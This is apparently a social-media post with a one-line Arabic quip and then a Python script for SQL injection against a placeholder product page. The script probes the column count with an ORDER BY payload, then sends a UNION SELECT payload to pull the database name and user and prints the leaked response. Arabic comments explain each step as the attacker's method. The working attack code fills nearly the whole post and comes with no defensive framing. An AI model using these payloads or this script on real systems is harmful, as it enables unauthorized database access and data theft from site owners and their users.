الي يشوف حسابه يقول حاضر. import requests # الرابط المصاب بالثغرة؟ ⁉️♋☢️☣️⚠️ TARGET_URL = "http://example-site.com/products.php?id=" def explore_database(url): print("[*] Starting SQL Injection analysis...") # 1. تحديد عدد الأعمدة (Order By Technique) # المهاجم يجرب أرقاماً حتى يظهر خطأ، ليعرف عدد الأعمدة payload_columns = "-1' ORDER BY 3--" # 2. استخراج اسم قاعدة البيانات والمستخدم # نستخدم UNION لدمج نتائجنا مع نتائج الموقع الأصلية payload_info = "-1' UNION SELECT 1, database(), user()--" try: response = requests.get(url + payload_info) if response.status_code == 200: print("[+] Target is Vulnerable!") # هنا تظهر البيانات المسربة في محتوى الصفحة print(f"[+] Extracted Info: {response.text}") except Exception as e: print(f"[X] Error: {e}") # explore_database(TARGET_URL)